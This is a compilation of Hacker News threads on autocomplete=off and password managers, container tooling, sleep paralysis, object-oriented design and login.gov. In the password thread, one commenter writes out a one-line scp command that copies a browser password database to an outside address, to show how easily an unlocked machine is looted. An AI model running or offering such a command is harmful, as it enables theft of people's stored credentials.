The war against autocomplete=off (2013) - <AUTHOR> http://blog.0xbadc0de.be/archives/124 <comment><USER3> On Firefox:

1\. Go to about:config

2\. Right-click anywhere, New -> Boolean:

signon.overrideAutocomplete

Value: true

More info: [https://bugzilla.mozilla.org/show_bug.cgi?id=425145](https://bugzilla.mozilla.org/show_bug.cgi?id=425145)

EDIT: Based on the milestone set on that issue, this setting requires Firefox 29. Another workaround is this bookmarklet: [https://www.squarefree.com/bookmarklets/forms.html#remember_...](https://www.squarefree.com/bookmarklets/forms.html#remember_password) referenced from comment [https://bugzilla.mozilla.org/show_bug.cgi?id=425145#c16](https://bugzilla.mozilla.org/show_bug.cgi?id=425145#c16)

</comment><comment><USER4> I've run into the problem of web services not letting me store passwords. The reality is, if you let my password manager (safari jacks into OS X's keychain system) keep track of things, I'm going to use the random 12-digit alphanumeric password my password manager provides me. If you don't, I'm either going to use my shitty "brain" password or put it in my password manager anyway and just copy-paste it manually.

Thankfully, safari on both iOS and OS X has a toggle to ignore autocomplete=off, which I take advantage of liberally.

<comment><USER5> [http://xkcd.com/936](http://xkcd.com/936)

<comment><USER4> A random 12-digit alphanumeric is log((26+26+10)^12)/log(2) = 71.45 bits of entropy. Plenty for a web form.

</comment></comment></comment><comment><USER6> My biggest problem is with sites that don't let me copy/paste into the password field. WTF!? Who's the PHB that came up with this policy? _Despite_ this misguided nannying, I still use randomly generated 22 character alphanumeric passwords, even if I have to open up the window in Keepass and manually type them in. Most people aren't as paranoid and anal as me, however. Whoever you are, you're basically encouraging people to use weak passwords.

Ironic, as it seems to be banks that are most often guilty of this.

<comment><USER7> Equally bad: requiring a user to _never use the same password twice_

 __Come on __, I only forgot my password and want to set it to what I think it should be! I didn 't get hacked! Just let me live my life in peace!

<comment><USER8> Worse yet, there are banks that don't let you use _any of the last 3-5 passwords_. This is really annoying, especially when combined with enforcing a password change every 3 or 6 months. But there is a solution: just use whatever password you have chosen, and add a number for the current quarter or semester. Until they come up with a password strength checker measuring the similarity between your current and previous passwords (eg. levenshtein()), you should be ok.

<comment><USER6> _Until they come up with a password strength checker measuring the similarity between your current and previous passwords (eg. levenshtein()), you should be ok._

These have appeared in Ubuntu.

</comment></comment></comment></comment><comment><USER9> > Please note that if you combine this policy and at the same time disable > copy and paste into the password fields (I look at you, Blizzard!), I hate > you.

oh man. disabling paste is the worst, because it breaks keypassx. (Apple did this last I checked!)

turbotax did that as well last year, this year they made it sane again. Luckily there's a firefox about:config setting you can do to not let websites hijack / block your clipboard events.

<comment><USER10> Another way to bypass these fields where you can't paste a password (many games are guilty of this atrocity): make an AutoHotkey[1] script for rapidly typing whatever is in your clipboard.

This line will make ctrl-alt-v type your clipboard:

^+v::SendRaw %clipboard%

[1] [http://www.autohotkey.com/](http://www.autohotkey.com/)

</comment></comment><comment><USER11> The first thing I install in a new browser is an adblocker. The second thing an addon that disables autocomplete=off.

Yes I'm lazy. But my laptop is encrypted and goes back to the login screen after 2 minutes of inactivity. To me autocomplete=off is just annoying and doesn't add any security.

<comment><USER12> it really helps with forms where you are an admin and can edit other users information... in these forms when autocomplete is on... and starts populating your information into the user you're trying to edit... well... things just get pretty messed up...

</comment></comment><comment><USER13> I just use this bookmarklet to remove "autocomplete=off" from form elements:

javascript:(function(){var%20c=0;function%20R(w){try{var%20a,df,dfe,i,j,x,y,r=1;df=w.document.forms;for(i=0;x=df[i];++i){dfe=x.elements;if(a=x.onsubmit){a=""}if(a=x.attributes["autocomplete"]){if(a.value=="on"){c++}a.value="on"}for(j=0;y=dfe[j];++j){if(a=y.attributes["autocomplete"]){if(a.value=="on"){c++}a.value="on"}}}}catch(E){r=0}return%20r}R(self);var%20i,x;for(i=0;x=frames[i];++i)R(x);if(c){alert("Found:%20"+c)}})();

<comment><USER14> There's also the Chrome extension autocomplete=on from a Chromium author: [https://chrome.google.com/webstore/detail/autocomplete- on/ec...](https://chrome.google.com/webstore/detail/autocomplete- on/ecpgkdflcnofdbbkiggklcfmgbnbabhh)

<comment><USER15> Shameless plug:

I dot so worked up over this kind of nonsense one day that I wrote a firefox addon to turn autocomplete on. [https://addons.mozilla.org/En- us/firefox/addon/autocompletea...](https://addons.mozilla.org/En- us/firefox/addon/autocompleteanywhere/)

</comment></comment></comment><comment><USER16> This drives some of our customers nuts because autocomplete has the annoying tendency in the most recent Safari of overwriting prepopulated fields - <USER2> end up losing configurations over this.

Otherwise I can see the benefit of ignoring the setting, perhaps, but we need consistent default behavior (chance would be a fine thing!). I don't want to be telling my customers that they should switch off autocomplete as a user shouldn't need to configure a browser to use a website!

<comment><USER17> Have you filed a bug report about Safari overwriting prepopulated fields? If not, and you don't want to deal with the painful experience that is bugreport.apple.com, feel free to drop me an email with more details about what you're seeing.

<comment><USER16> I'll drop you a line on Monday when I can scrabble together something better than swearing :P

</comment></comment></comment><comment><USER18> The original article fails to take into account the larger population. The basic password managers in browsers are huge security holes. The one in FF does not use a master password by default, so anyone could look at an unattended computer and see all stored passwords with a few clicks. The article mentions an old JavaScript attack on the passwords as well (but then dismisses the threat, since that one hole was patched).

So the problem really is that the browsers pushed insecure features out to the masses, and many people adopted them. The number of people in the general population who use a password manager is low (obviously it is high here on HN). So think of the autocomplete=off flag as a flag to make sure you are using a competent password manager, one that recognizes the problem and then overrides the flag. Sounds like Safari and IE 11 are already doing that, so hopefully they fixed the problems of the early password managers.

<comment><USER19> You might not agree with this but hear me out. I used to work on Chrome and I was curious what the justification was for storing passwords unencrypted in Chrome. I went and talked to the Chrome security team and they frustratingly explained it to me as they get this question all the time.

As you said, in FF, (and in Chrome), a few clicks and anyone could look and an unattended computer and see all the stored passwords. As they pointed out, an unlocked unintended computer can pretty much be owned by anyone who wants to own it. You've given them access to your computer. They can open a shell and start running apps. They can exploit any bug in the OS or other app. They can copy files to a USB stick or across the net. On top of that, your password manager (or FF or Chrome) will let them log into your mail, your bank, your facebook, whatever services you've saved passwords for even without knowing your password.

The point is

(1) don't leave your computer unlocked and unattended. Put a password on it, when you walk away from the computer lock the computer (start the screensaver or whatever that makes it required you to use a password to get back in)

(2) don't ever let someone use your computer logged in as you. If you hand someone your computer to use login as guest then hand it to them.

If you're like me you'll probably reject these suggestions. I thought "I don't want to be bother to lock and unlock my computer all the time" and I thought "It's stupid to expect me to put my computer in guest mode anytime I let someone else use it."

But, after I calmed down and thought about it I realized they are right. If someone wants your passwords or other data and you hand them an unlocked machine they are going to get them. How FF or Chrome or Password managers store passwords has nothing to do with that.

<comment><USER20> Let me fix one line in your post: If someone _with sufficient technical knowledge_ wants your passwords or other data and you hand them an unlocked machine they are going to get them.

Now, reducing the technical knowledge required from "opening a shell and running apps" to "click here to see all passwords in seconds" greatly reduces the technical knowledge required and so greatly increases the risk you're exposed to.

<comment><USER19> You're right. But, I'm guessing the set of people who know they could see your password easily is pretty much the same set of people with sufficient technical knowledge that they either know how to do more or know how to find out how to do more.

Open terminal type

scp .somebrowser/password.db email@example.com:

Takes no more time than writing down passwords like nfie28447ncjf;$/$38342. Probably less if there's more than one password

</comment></comment></comment></comment><comment><USER21> This article uses "password managers" ambiguously. In my opinion, a browser is a terrible password manager because of what is stated in the "pros" section of the article. My advice aligns with others who have replied here - get a real password manager such as 1password and allow autocomplete="off" to do what it is supposed to do.

<comment><USER22> Sorry, but which of the two points in the 'pro' section (storing truly sensitive visible information and hacking of client-site databases) makes a browser less capable of acting as a password manager than a 'real' password manager?

Or maybe you could rephrase why you think browsers are terrible password managers? I'm quite fond of Opera's Wand.

<comment><USER23> I'm going to go out on a limb and suggest just because 1password is really really good. So good that I don't even want to try a browser's password manager (especially since I want access to my passwords on multiple browsers and my phone/tablet as well). I'm sure browser password managers have made leaps and bounds, but so as 1password and it's amazing.

</comment></comment></comment><comment><USER24> The issue may be moot--IE 11 ignores autocomplete=off.

And in any case, for the cases where this setting is effective, it doesn't _break_ password managers--just set your password manager to not fill the fields, but use copy and paste for the password.

[Edit - spelling]

<comment><USER25> I think you mean "moot", not "mute".

<comment><USER24> Thanks, fixed.

</comment></comment></comment><comment><USER26> > Tell me how I am supposed to fulfill these requirements if I need 20 > websites daily to do my work ?

One solution to this problem (or at least one way to severely mitigate it) is to use a base word that you tweak with a simple algorithm based on the first letter, last letter, number of letters in the domain, etc. Of course some websites have mutually exclusive requirements, so this doesn't work for all sites, but I've been doing this for so many years now that while I have muscle memory for frequently used sites, I can go to a site I haven't been to in years and have no memory of the actual characters in the password, but I apply my algorithm and voila, it works!

<comment><USER27> I changed all my passwords recently to do the same thing. The problem I've recently started to see is that, let's say for example my hashed+salted password is stolen from a site. If they brute-force figure out what my password is, they'll have my "base word" and all my other accounts may still be able to be compromised.

Recently I changed my big accounts (Google, Facebook, StackOverflow) to have a slightly different "base word" and the other accounts that I can afford to lose control of have stayed the same.

<comment><USER28> It's significantly more difficult to reuse the base and figure out the additional characters than it is to get access to the user whose password is 'password'

For insecure services that I use on mobile, public, etc computers, I do this.

</comment></comment></comment><comment><USER29> [https://chrome.google.com/webstore/detail/autocomplete- on/ec...](https://chrome.google.com/webstore/detail/autocomplete- on/ecpgkdflcnofdbbkiggklcfmgbnbabhh)

My favorite extension.

<comment><USER30> Doesn't work on Airbnb, though.

</comment></comment><comment><USER31> I don't think I've run into a situation where LastPass has been unable to auto-fill a form. Is this a feature of LastPass, or have I just not gone to sites that disallow autocomplete?

<comment><USER32> LastPass has a setting to respect autocomplete -- it's off by default because so many sites use it inappropriately.

</comment></comment><comment><USER33> 1password makes this never be an issue for me. ⌘+/ to log into anything with one stroke, unless I have multiple accounts for the site, in which case it's a couple of extra clicks.

<comment><USER34> Same for KeePass (Cntrl + Alt + A). Never had an issue now that I use it fairly consistently.

Key is I guess not using browser stores.

</comment></comment><comment><USER35> I'm going to go with Bruce Schneier on this one and say that there is absolutely nothing wrong with writing your passwords down. If someone mugs me and takes my wallet there is a 99% chance they are going to get the phone too and I'll need to change all my passwords anyway.

Not letting the browser cache them is still dumb though.

</comment><comment><USER36> Could you not run an analysis of a user's password on account creation or password reset that determines if it is likely to be autogenerated and managed by a password manager. Then armed with this flag enable or disable autocomplete on a user by user basis with javascript?

</comment><comment><USER37> Someone was showing me Capital One 360 (formerly ING), which uses an onscreen PIN pad that you either have to click with your mouse, or type using a randomly generated mapping. The idea is to thwart keystroke loggers, but it's totally infuriating.

<comment><USER38> The worst part is, it doesn't even thwart keyloggers very well! It's not uncommon for password stealing malware to detect when the user is viewing a site that uses a "PIN pad" login of this type, and start taking screenshots surrounding the location of each click to capture input.

</comment></comment><comment><USER39> How does it break password managers? Does it prevent them from auto-filling in or auto-saving the password? I use passpack and enter/retrieve my credentials manually and so don't experience this and appreciate autocomplete=off.

</comment><comment><USER40> Only slightly related, but I really wish GitHub would add autocomplete=off on the language selection dropdown for Gist. If you make your own autocomplete UI, I would prefer that you disable the browser UI.

</comment><comment> matt-attack I use:

[https://addons.mozilla.org/en-US/firefox/addon/remember- pass...](https://addons.mozilla.org/en-US/firefox/addon/remember-passwords/)

It's heavenly.

</comment><comment><USER30> Is it me, or is there no way to force Airbnb to allow Chrome to remember my password, even with an extension?

</comment><comment><USER41> I used to use Chrome as my second browser, where I'd keep my work gmail account up.

Recently it started to no longer save my password, even with an autocomplete=on plugin installed that works on other sites. That was my catalyst for uninstalling Chrome altogether and moving to Firefox for everything.

</comment><comment><USER42> ChromeIPass (Keepass autofill for Chrome) just ignores this as far as I know.

</comment><comment><USER43> Right, this isn't what autocomplete=off is for. It's for fields where correcting the user's input to dictionary words is of negative utility, for example, typing stock tickers should not correct "aapl" to "apple".

<comment><USER44> Isn't that the "autocorrect" option?

<comment><USER43> Duhh, right you are. I keep conflating the two.</comment></comment></comment>


How we are simplifying containers, networking and orchestration - <AUTHOR> https://www.flockport.com/news/lets-make <comment><AUTHOR> Containers are useful and provide many advantages compared to VM's but as an industry many will acknowledge there is a real risk of putting people off containers due to ballooning complexity. Flockport is a small step towards providing a simpler alternative.</comment>


How Many Beliefs Are Due to Sleep Deprivation? - <AUTHOR> http://www.theatlantic.com/health/archive/2015/04/when-you-hear-a-loud-crash-just-as-youre-falling-asleep/389303/?single_page=true

<comment><USER2> I experienced something like this during a brief period in my teens when I experimented with lucid dreaming techniques. I would lie completely still on my bed in the evening, meditating until I started to drift off. First I'd feel my body go numb. Then I'd hear either a round of explosions or a roaring rush of wind. If I managed not to get too excited, I'd cross over into dream, fully cognizant of what had happened. I had one experience with sleep paralysis under similar circumstances: during one of these sessions, I was sure I had pulled myself out of the dream, but I couldn't open my eyes or move my legs. This lasted for about thirty seconds before control abruptly snapped back. I'm still not entirely sure whether this happened mid- or post-dream, but it certainly felt real in a way dreams never did for me.

All in all, it was fun to experiment with for a while. I'd done a fair bit of reading on lucid dreaming, so the loud noises and sleep paralysis were expected and not concerning. Very interesting sensory experiences, among the few you can reach without recreational chemicals.

<comment><USER3> I had a similar experience of sleep paralysis that you mention. It happened when I was between 10-12 years old. Around this time I was diagnosed with Epilepsy and had experienced a handful of seizures already.

During the sleep paralysis episode I woke up with a racing sensation in my head. I couldn't open my eyes at first or speak. Eventually I got my eyes open and I tried getting up but failed. Needless to say I was terrified. Eventually I was able to get to the side of my bed, but when I tried to stand my legs just buckled and I collapsed. Finally I was able to speak and cry for my parents to help me.

Luckily I haven't had a similar experience since and also have gone years without a seizure. My doctors thought it was related to puberty, which seems to add up.

Though I do have experiences similar to what's described in this article as exploding head syndrome. Every few months, almost immediately after falling asleep, I will just be jolted awake. A few times its been because of a loud noise that isn't real, others I just jolt awake and have my heart racing. The first time it happened I thought I was having a heart attack or something. Now I am able to calm my self down almost immediately.

<comment><USER4> My whole life, I've been able to reliably cause myself sleep paralysis. I just have to wake up facing a bright point light - like leaving the light on in a room before attempting a nap. (Diffuse bright light like sunlight doesn't generally do it.) No idea why.

</comment></comment></comment><comment><USER5> My first response to the emergence of any new syndrome/disorder is, "Who benefits?" Drumming up public consciousness of things that are supposedly wrong with them (rather than being seen as natural variations) seems like great marketing for anyone selling newly-minted treatments.

> "How much extreme distrust of the government is just a manifestation of a > sleep disorder?"

Is everyone suffering from "exploding head" really paranoidly antigovernment as the article hints? Maybe I'm reading too much into it, but the author seems to somewhat invalidate people's distrust of government, suggesting it's often only a sideeffect of some sleep disorder.

</comment><comment><USER6> I've heard that near-death-type experiences can be induced by stimulating the brain. I guess that calls into question a lot of the religious experiences people report.

<comment><USER7> If we knew how, we could stimulate the brain in such a way that you would think you were eating a banana. That is not evidence either for or against the actual existence of bananas.

<comment><USER8> That seems to be missing the point. The only "witness evidence" we have of an afterlife is the reports of those who have had near-death experiences. If that evidence is called into question, then no other evidence remains. This does not apply to evidence for bananas, as much evidence already exists and can't be invalidated in that way.

<comment><USER9> Y'all should go get some books on epistemology...

[http://en.m.wikipedia.org/wiki/Brain_in_a_vat](http://en.m.wikipedia.org/wiki/Brain_in_a_vat)

</comment></comment></comment></comment><comment><USER10> I had a period in my life where I suffered from so called Exploding Head Syndrome as well as sleep paralysis. I'd definitely attribute it to stress/anxiety and insomnia or the medication used to treat those problems. Exploding Head Syndrome seems like the auditory equivalent of a hypnic jerk and never bothered me too much. Sleep Paralysis is extremely unpleasant though.

<comment><USER11> >Sleep Paralysis is extremely unpleasant though.

Perhaps an understatement. It's increased by stress and it increases your stress levels while falling asleep creating a nice cycle of stress, fear and panic. I'm so glad it happens rarely now.

<comment><USER12> Reminds of the cycle of insomnia - where you are tired because you didn't sleep, so you stress out more about getting to sleep, so you have more trouble sleeping, in a loop. There's a term for it, though I've forgotten it.

It's supposed to be self-limiting (Because the tiredness is supposed to win out and make you sleep), but it doesn't always seem that way.

I'm so glad that I'm hardly ever in that space any more, myself. Never had sleep paralysis, but sleep difficulty of any type is not fun.

<comment><USER13> Once that happened to me I told a friend in the morning advised me to go for a run. I ran till I was exhausted and came home to collapse in sleep. I couldn't fall into sleep from mid night to 7am in the morning.

</comment></comment></comment></comment><comment><USER14> This is the sort of problem sleep medicine doctors deal with. Normally, there's a clean transition between sleeping and waking, but when there isn't, lots of annoying things happen.

There are diagnostic tests for this, which involve sleeping connected to an EEG. Portable devices for that are available, although, like much medical instrumentation, overly expensive.</comment>


Software to slice bread - <AUTHOR> http://www.johndcook.com/blog/2012/03/18/sliced-bread/

<comment><USER2> One of the comments linked to an article [0] with a very interesting bit of advice:

"Avoid creating objects that end with 'er'. Describe data and then bind behaviour; don't focus on behaviour and then bind with data."

[0] [http://objology.blogspot.it/2011/09/one-of-best-bits-of- prog...](http://objology.blogspot.it/2011/09/one-of-best-bits-of-programming- advice.html)

</comment><comment><USER3> Here's a blog post written in reaction to this one: Thinking out loud about the compiler in a pure OO world. [http://www.cs.uni.edu/~wallingf/blog/archives/monthly/2012-0...](http://www.cs.uni.edu/~wallingf/blog/archives/monthly/2012-03.html#e2012-03-18T17_20_45.htm)</comment>


Government launches login.gov to simplify access to public services - <AUTHOR> https://18f.gsa.gov/2017/08/22/government-launches-login-gov/ <comment><USER2> This appears valuable and well executed, but I worry that private businesses will be eager to outsource their authentication to this service, if they are allowed to. And once it's fully stood up, I suspect the government would be all too eager to oblige.

This might be convenient, but might also mark the beginning of a major new point of U.S. government control over the Internet, with all the surveillance and other civil liberties issues that this might raise, to say nothing of the issues that could arise from this degree of centralization.

Now seems like the time to set the expectation that this service may not ever be used by private websites. Of course, we tried that with Social Security numbers too, for all the good it did us. [http://www.nytimes.com/1998/07/26/weekinreview/the-nation- no...](http://www.nytimes.com/1998/07/26/weekinreview/the-nation-not-for- identification-purposes-just-kidding.html?mcubz=1)

<comment><USER3> Given the alternative of handing out my SSN and hoping for the best, I'd be more than happy to use this for banking and related services. Presumably, third-party use would be covered by some form of ToS, and maybe we'd see actual repercussions for leaking data that originated here.

<comment><USER4> Even if you're not concerned that the government might get a list of all the sites you log into, what about arbitrary login _revocation_? Suddenly someone gets a brain fart and decides that everyone on the terrorist watch list shouldn't be able to use this service? Now you're locked out of all the accounts you used this for, even if you're not a "bad guy".

This is why I don't use "log in with google" or log in with Facebook" \-- I don't think those companies are evil (I use them both) but I can't afford for them to accidentally or absentmindedly deny me access to other services.

<comment><USER5> With the government you have free speech rights, so you can sue them if they close your account. With private companies you have no free speech rights and they can close your account whenever they want.

So account closure seems like a positive point of government-controlled login.

<comment><USER4> Look up the secrecy and lack of oversight over the so-called "terrorist" watchlist and the calls for scope creep, and see if you are so confident about those first amendment rights. I'm sure failure to log in would not be considered a first amendment right.

I agree that the government should be a far more dependable provider than any private sector organization. But the recent (last 20 years) enthusiasm for scope creep has not been encouraging.

<comment><USER5> Does the government deny passports or driver licenses/IDs to people on those lists? Because that would be the equivalent here.

I'm not saying the government wouldn't do it. I'm saying you would have constitutional basis to sue, which you don't have for companies.

Some lawsuits against the no fly list have been successful. [https://www.aclu.org/blog/national-security/victory-no- fly-l...](https://www.aclu.org/blog/national-security/victory-no-fly-list- process-ruled-unconstitutional?redirect=blog/victory-no-fly-list-process- ruled-unconstitutional)

<comment><USER6> I'm not sure that it would be seen as equivalent here given the overall push away from net neutrality over the last decade. I could see many government officials making the (out-dated) argument that the internet is a non-essential service and you online profiles are not as critical as physical government- issues IDs.

Edit: Forgot this post was a couple days old, working through my HN backlog haha

</comment></comment></comment></comment></comment></comment></comment><comment><USER7> Thanks for all of the passionate comments on login.gov!

First, my name is Joel Minton and I lead login.gov. All of us who came here to build this did so to drive higher Security, Privacy and Usability for all Americans. This is a core building block that we believe will benefit millions of Americans and the government agencies that serve them.

Second, the tradeoffs that we have been considering for over 18 months are very similar to those that all of you are bringing up as well. We have made a lot of progress on balancing these tradeoffs, which are primarily focused on Security, Privacy and Usability. Since we are constantly iterating to improve login.gov, we welcome any future feedback that you and others provide.

Third, for anyone who has a background in identity and/or large scale platforms and is interested in serving our country by helping to build this critical platform, please consider joining us. Your salary would not likely be as high as the private sector, but trust me, the amount of positive impact you would have on our country is tremendous. You can DM me either on Linked In or my lightly used twitter Account (jrminton).

Thanks again!

</comment><comment><USER8> For those interested, development is done in the open here:

[https://github.com/18F/identity-idp](https://github.com/18F/identity-idp)

<comment><USER9> But issues opened remain unanswered..

<comment><USER8> I opened an issue. They answered it.

4 out of 5 open issues have comments from core members working with the issue opener.

Seems ok?

</comment></comment></comment><comment><USER10> It's interesting that no one here has yet mentioned the UK government system "Verify". Fundamentally there are different authentication mechanisms and idealogies at work, but it's the same UK CESG GPG implementation as Verify. I genuinely wonder if the US people understand the privacy implications of a central authenticating party as opposed to many federated ones?

<comment><USER11> Yeah I think USDS is taking motivation from Verify.

I actually contacted the Verify folks about leveraging a privacy-preserving approached as outlined here: [https://www.cipheredtrust.com/doc/](https://www.cipheredtrust.com/doc/)

I believe they were involved in some sort of porn regulation effort launched in the house of commons with a lot of privacy implication, a mechanism as described above would address all of that privacy problem.

<comment><USER12> USDS does take motivation from and works with the UK version of the USDS.

Source: Interviewed with USDS.

</comment></comment></comment><comment><USER13> Given that this is a typical identity provider, I'm curious there's interest to make this service available to the saas industry at large.

For example, I'd rather NOT have to manage login credentials for my bank, mortgage car payment, and various airlines.

I'd rather let login.gov handle it.

Moreover, as a saas provider, I wouldn't mind deferring this liability to someone other than google or facebook.

<comment><USER14> To me, this is the right attitude towards this. Really? Are you more scared by your own democratic government than by facebook?

Besides i'm not even american, so whatever

<comment><USER15> Well, yeah. I can choose to not use Facebook (for the most part). I can't choose to not use the federal government.

Plus, disliking and being wary of government is quintessentially American—it goes back to our roots as a country.

As an example that just popped into my head, look at DACA: a bunch of undocumented persons told the federal government about their undocumented status (in exchange for something good) and now that information can/will/may be used to deport them.

With the government, it cuts both ways.

<comment><USER16> Those are valid points, but I think they miss the point of the question: are you more scared _about data security in an online identity provider_ provided by the government or Facebook et. al.?

Your answers were more about things the government can do to screw you over. It can do those things if your data is stored in Facebook as well: search warrants, compliance orders, subpoenas, etc. will all result in the government having access to your data unless strong encryption is used on your data (which, as we've seen with Apple, is still not enough sometimes).

I think (though I may be wrong) that the question had more to do with whether you trust this solution to be more secure against external/accidental breach than a solution offered by Facebook. I don't know the answer to that question, though.

<comment><USER17> The point is, a warrant is a tiny bit more difficult to get than no warrant. Having all that data on their own site bypasses the need for one.

<comment><USER16> True, but having all the data on the government's site may ( _may_ ) make it more secure from being leaked to sources other than the government. This isn't a statement of the government's software quality, but one of incentives: large private companies have not, historically, suffered much (legally or in terms of growth/revenue) from data breaches. The government losing data that it has independent reasons to keep safe is probably a larger perceptual risks, since government departments/funding can be suddenly cut in the wake of disasters of this nature, and elections can be lost. TL;DR the feedback loop for bad security might be more direct if the government is the one doing the securing. That's a troublesome prospect in several regards, but is plausible, I think.

</comment></comment></comment></comment></comment></comment><comment><USER18> In case you are wondering how it handles password encryption and storage, it appears to use a custom password hash based on SHA256 and scrypt: [https://github.com/18F/identity- idp/blob/980c2aa26397f530673...](https://github.com/18F/identity- idp/blob/980c2aa26397f530673e009a8370019ab3330b54/app/services/user_access_key.rb)

Passwords appear to be stored in the users table in the "encrypted_password" column, and it does not appear that any database-based security is used. This is one RCE/SQLI vulnerability away from exposing the password hashes for all users. To be fair, that's probably true of most sites that store password hashes, but I would have expected better from 18F.

<comment><USER19> what is database-based security?

<comment><USER20> It's an old craft that died somewhere around the dotcom hype in 2000.

It works with SQL, using language elements like VIEW, PROCEDURE, ROLE and GRANT

SQL Databases can still do it, but people who know how to use it are all retired or work in management now. :-)

Also: no web framework knows how to deal with it.

</comment></comment></comment><comment><USER21> Impressive response to the HealthCare.gov fiasco: [https://en.wikipedia.org/wiki/18F](https://en.wikipedia.org/wiki/18F) Some other interesting projects here: [https://github.com/18f](https://github.com/18f)

<comment><USER22> Our repos can be a lot to wade through. You can see examples of our specific projects here [https://18f.gsa.gov/what-we-deliver/](https://18f.gsa.gov/what- we-deliver/) (and each project links to the right repos if you want to see the code/docs)

*I work for 18F

<comment><USER23> I know elsewhere in the thread you mentioned that you're not on the login.gov team but would you mind passing U2F support and removing SMS as a second- factor auth as a feature request? Thanks :)

</comment></comment></comment><comment><USER24> Hopefully the US government will do better than the awful AUSKEY system that the Australian Government designed. Every time I upgrade my PC or notebook, I have to download a ton of Java crud, not to mention certificates, in order to be able to use it, and even then I have constant browser issues with particular versions of Java or certificate chains being misconfigured.

Unfortunately, I _have_ to use AUSKEY to transact on my business tax details etc., and just the sheer UX nightmare that it is makes an already detested task even harder to swallow.

<comment><USER25> For most ATO business dealings there is support for a myGov login now. I was very relieved to retire all the AUSKEY crap.

</comment></comment><comment><USER26> A total nit pick, but why do people have such a hard time consistently naming something as simple as a boolean variable? If we remember that naming is one of the hardest things in software engineering, why don't we put more thought into it?

From the documentation in the README: [https://github.com/18F/identity- idp](https://github.com/18F/identity-idp)

      disable_email_sending: 'true'
      enable_load_testing_mode: 'true'
      telephony_disabled: 'true'

Multiple directions, multiple naming conventions, strings?!?!?. Just seems like a recipe for failure. I feel like this would be more clear:

      load_testing_mode: true
      send_email: false
      telephony: false

When you write your conditionals, it makes it so much easier to read:

      if !disable_email_sending
         do_send_email

vs.

      if send_email
        do_send_email

Here is the line in actual use...

[https://github.com/18F/identity- idp/blob/df549cf9a1fc2c21e3e...](https://github.com/18F/identity- idp/blob/df549cf9a1fc2c21e3e322fa10e762ccb07da2a9/config/environments/production.rb#L23)

I'd personally rather have the positive condition first as it is easier for me to follow logically in my head.

<comment><USER17> I agree with having positive names in booleans (email_enabled vs disable_email_sending), but not with having verbs as booleans. send_email is an action; the corresponding flag should be email_enabled or is_email_enabled.

</comment></comment><comment><USER27> just signed up. Service is a little wonky, but they've introduced 2FA via SMS and Authenticators as well! Thankfully not just SMS.

They also make you download/print a private key just in case.

</comment><comment><USER28> Created an account. It asks for and confirms email and phone number. Interestingly it does not ask for name or SSN. So it doesn't really represent an identity as a person but rather as a recipient of communications.

Security-wise, starts with using the phone for 2fa, allows setting up TOTP. Generates backup codes and tests for retention. Big problem though: there's no option to disable the phone as a 2fa option. A lesser sin is no U2F support.

</comment><comment><USER29> We have a similar service in Hungary since 2005.

I wonder why something like this was not a thing in the US before? I mean we are not a 3rd world country but definitly behind the US in almost every aspect. Is it something to do with the relationship between the states and the federal government?

<comment><USER30> The US is backwards in plenty of ways, honestly, and the government is frequently a good (bad?) example. Moved to Germany a year ago, the government just seems so competent and drama-free here in comparison.

<comment><USER31> Wasn't it Germany that had the electronic voting machines compromised?

<comment><USER32> Not a voting machine (we don't have any) but software used to tabulate preliminary results was shown to be vulnerable. Honestly, this is pretty bad but not "voting machines compromised" bad.

</comment></comment></comment></comment><comment><USER33> login.gov is using "Let's Encrypt", which is kinda awesome :)

Should they have used an EV certificate?

<comment><USER34> Nah. DV gives you the same cryptographic guarantees, but with the benefit of 100% automation.

<comment><USER35> To add to this, a US government site does not need this, because only the US government site can register a .gov domain.

<comment><USER36> They can be taken over.

<comment><USER16> In which case EV wouldn't get you anything, right (since presumably it would be verified and issued before the site was taken over)?

</comment></comment></comment></comment></comment><comment><USER37> Why it's a privacy nightmare: you _delegate_ authentication to an oauth service. You trust it to check the authenticity of the login/password.

The code is open source, but it doesn't mean login.gov runs exactly this code.

Now imagine the NSA forks the code, adds a master password "IworkForTheNSA,LetMeIn!" and runs the fork instead on login.gov. Now the government can impersonate you in seconds.

Use Auth0 if you don't want to handle auth yourself. It's probably more difficult to coerce a private company into hacking its users, than it is for the NSA/FBI/IRS/Whatever to hack it's own system.

Don't be foolish. Don't use that for private businesses.

<comment><USER38> > It's probably more difficult to coerce a private company into hacking its > users, than it is for the NSA/FBI/IRS/Whatever to hack it's own system.

This is a fantasy. I'm shocked to find people parroting this argument mere years after Snowden.

<comment><USER37> Don't you think it's easier for the government to hack its own code than someone else's ?

<comment><USER16> Maybe, but where "hacking someone else's" might just be issuing a search warrant, the difference in difficulties is like the difference between swatting a mosquito and swatting a gnat.

</comment></comment></comment></comment><comment><USER39> Ironic that [https://login.gov](https://login.gov) does not have a login form located anywhere on it. Just a teeny and hard-to-notice "Manage Account" text link in the corner.

<comment><USER8> Consider this may be on purpose:

        Not all information requires an identity system to manage
        access. You can protect the privacy of users and reduce
        the security risk to your systems by avoiding any
        unnecessary collection of personally identifiable
        information — this even includes contact details.

</comment></comment><comment><USER40> This is kinda cool, but it's also a little concerning. One of the ways our government protects our privacy is specifically by not centralizing information. Just because you pay taxes or have healthcare doesn't mean the police has that info, for example. The efficiency of connecting a large number of governmental agencies to a single account for you is pretty concerning, it puts all the data in one spot that can be extremely tempting to access.

<comment><USER41> I know I'm not supposed to say this, but you obviously either didn't read the article or read it but didn't understand it, and perhaps you would be better off reading it more closely before commenting. The article lays out that this is not centralizing information, but is merely allowing a bunch of different agencies to use it as an identity provider.

The same way I can, say, connect to my spotify via my Google+ account, but that doesn't mean that google has all of my spotify playlists.

<comment><USER42> > _I know I 'm not supposed to say this, but you obviously either didn't read > the article_

If you're referring to the guidelines, they also show how leaving out sentiments like these doesn't diminish the clarification you're adding:

> _Please don 't insinuate that someone hasn't read an article. "Did you even > read the article? It mentions that" can be shortened to "The article > mentions that."_[0]

[https://news.ycombinator.com/newsguidelines.html](https://news.ycombinator.com/newsguidelines.html)

Chiding someone who is trolling isn't going to accomplish anything (and likely make it worse). If they aren't, they'll (hopefully) appreciate the clarification, no chiding necessary.

<comment><USER41> Perhaps the gentle chiding will encourage people to read the article before commenting in the future?

</comment></comment></comment></comment><comment><USER43> This looks promising.

I'm currently in Denmark and they have this inane two-factor authentication system for all (e.g. banks and not just public) services that uses physical printed cards with 150 codes each; when you are close to using one up you need to get another one in the mail. [https://en.wikipedia.org/wiki/NemID](https://en.wikipedia.org/wiki/NemID)

Hopefully if this requires 2FA it can use the TOTP open standard, etc.

